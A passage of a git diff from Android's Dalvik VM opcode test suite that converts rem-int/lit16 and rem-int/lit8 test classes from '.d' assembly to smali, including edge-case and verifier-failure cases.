+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, 32767
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8.d
deleted file mode 100644
index aa2208b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_8.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, -32768
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8.smali
new file mode 100644
index 0000000..8fbc185
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, -32768
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9.d
deleted file mode 100644
index 91c45f8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_9.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9.smali
new file mode 100644
index 0000000..5d4dca6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1.d
deleted file mode 100644
index 7d69475..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_1.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, 4
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1.smali
new file mode 100644
index 0000000..4f22b90
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, 4
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10.d
deleted file mode 100644
index 15ce8db..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_10.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v8, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10.smali
new file mode 100644
index 0000000..72d6198
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v8, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11.d
deleted file mode 100644
index 9fb2f77..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_11.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       rem-int/lit8 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11.smali
new file mode 100644
index 0000000..69ca5a6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_11.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       rem-int/lit8 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12.d
deleted file mode 100644
index cc7cd5e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_12.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       rem-int/lit8 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12.smali
new file mode 100644
index 0000000..1e97b30
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_12.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       rem-int/lit8 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13.d
deleted file mode 100644
index c35575e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_13.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13.smali
new file mode 100644
index 0000000..1022939
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_13.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2.d
deleted file mode 100644
index 4887086..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_2.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, -3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2.smali
new file mode 100644
index 0000000..6544ff6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, -3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3.d
deleted file mode 100644
index 43413ee..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_3.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, -120
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3.smali
new file mode 100644
index 0000000..aeda7f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, -120
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4.d
deleted file mode 100644
index 48cd590..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_4.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4.smali
new file mode 100644
index 0000000..7f46c25
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       rem-int/lit8 v0, v7, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5.d
deleted file mode 100644
index ec86de1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_5.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5.smali
new file mode 100644
index 0000000..38034c0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6.d
deleted file mode 100644
index 8300e22..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_6.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, 1
-       return v0
-.end method
